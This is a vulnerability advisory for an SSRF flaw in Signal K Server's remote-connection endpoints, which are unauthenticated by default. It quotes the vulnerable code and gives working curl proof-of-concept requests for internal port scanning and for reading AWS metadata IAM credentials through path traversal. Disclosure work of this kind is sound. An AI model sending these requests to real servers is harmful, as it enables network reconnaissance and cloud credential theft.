CVE-2026-55591
Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints
Description
### Summary signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations. When security is not configured (the default state), these endpoints require **no authentication**. ### Details #### Vulnerable Function The core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`: ```typescript function makeRemoteRequest( host: string, port: number, useTLS: boolean, selfsignedcert: boolean, path: string, method?: string, headers?: Record<string, string>, body?: unknown ): Promise<{ status: number | undefined; data: string }> { const protocol = useTLS ? https : http return new Promise((resolve, reject) => { const options = { hostname: host, // NO VALIDATION - attacker controlled port, // NO VALIDATION - attacker controlled path, method: method || 'GET', headers: { ...(headers || {}), ...(body ? { 'Content-Type': 'application/json' } : {}) }, rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification } const req = protocol.request(options, (response) => { let data = '' response.on('data', (chunk: string) => { data += chunk }) response.on('end', () => { resolve({ status: response.statusCode, data }) }) }) req.on('error', reject) req.setTimeout(10000, () => { req.destroy(new Error('Connection timed out')) }) if (body) { req.write(JSON.stringify(body)) } req.end() }) } ``` #### Missing Validation The function performs **zero validation** on the destination host. The following address ranges are all reachable: - **Loopback**: `127.0.0.1`, `::1`, `localhost` - **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` - **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS) - **IPv6 link-local**: `fe80::/10` - **Any arbitrary external host**: enabling the server as an open proxy #### Authentication Bypass via Default Configuration The endpoints are protected by `addAdminMiddleware()` (lines 2339-2345): ```typescript app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`) app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`) app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`) ``` However, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**: ```typescript addAdminMiddleware: () => {}, ``` This means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**. #### Additional Attack Surface: TLS Verification Bypass The `selfsignedcert` parameter directly controls `rejectUnauthorized`: ```typescript rejectUnauthorized: !selfsignedcert ``` When an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection. #### Additional Attack Surface: Path Traversal in checkAccessRequest The `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path: ```typescript `/signalk/v1/requests/${requestId}` ``` An attacker can use path traversal (e.g., `requestId: "../../other/endpoint"`) to target arbitrary paths on the destination host. ### PoC #### Target Setup Set up a bare-metal signalk-server for testing (or use Docker to simulate): ```bash docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \ bash -c 'npm install -g signalk-server@2.27.0 && signalk-server' # Wait for startup until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done ``` Set the target variable: ```bash TARGET=http://127.0.0.1:3000 ``` Confirm `"authenticationRequired":false` in the loginStatus response before proceeding. #### PoC 1: Loopback Connection (Self-Discovery) ```bash curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}' ``` **Response** (confirms SSRF, the server connected to itself): ```json { "success": true, "authenticated": false, "server": { "id": "signalk-server-node", "version": "2.27.0" } } ``` #### PoC 2: Port Scanning via Error Differentiation ```bash # Open port (3000) — returns server data curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}' # Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}} # Closed port (9999) — immediate ECONNREFUSED curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}' # Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"} # Filtered port — 10-second timeout then error curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}' # Response (after 10s): {"success":false,"error":"Connection timed out"} ``` The three distinct error responses allow an attacker to map internal network topology. #### PoC 3: AWS Instance Metadata Service (IMDSv1) On a cloud-hosted signalk-server (AWS EC2): ```bash curl -s -X POST $TARGET/skServer/testSignalKConnection \ -H "Content-Type: application/json" \ -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}' ``` The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`: ```bash curl -s -X POST $TARGET/skServer/checkAccessRequest \ -H "Content-Type: application/json" \ -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}' ``` ### Impact 1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds). 2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata. 3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet. 4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests. 5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.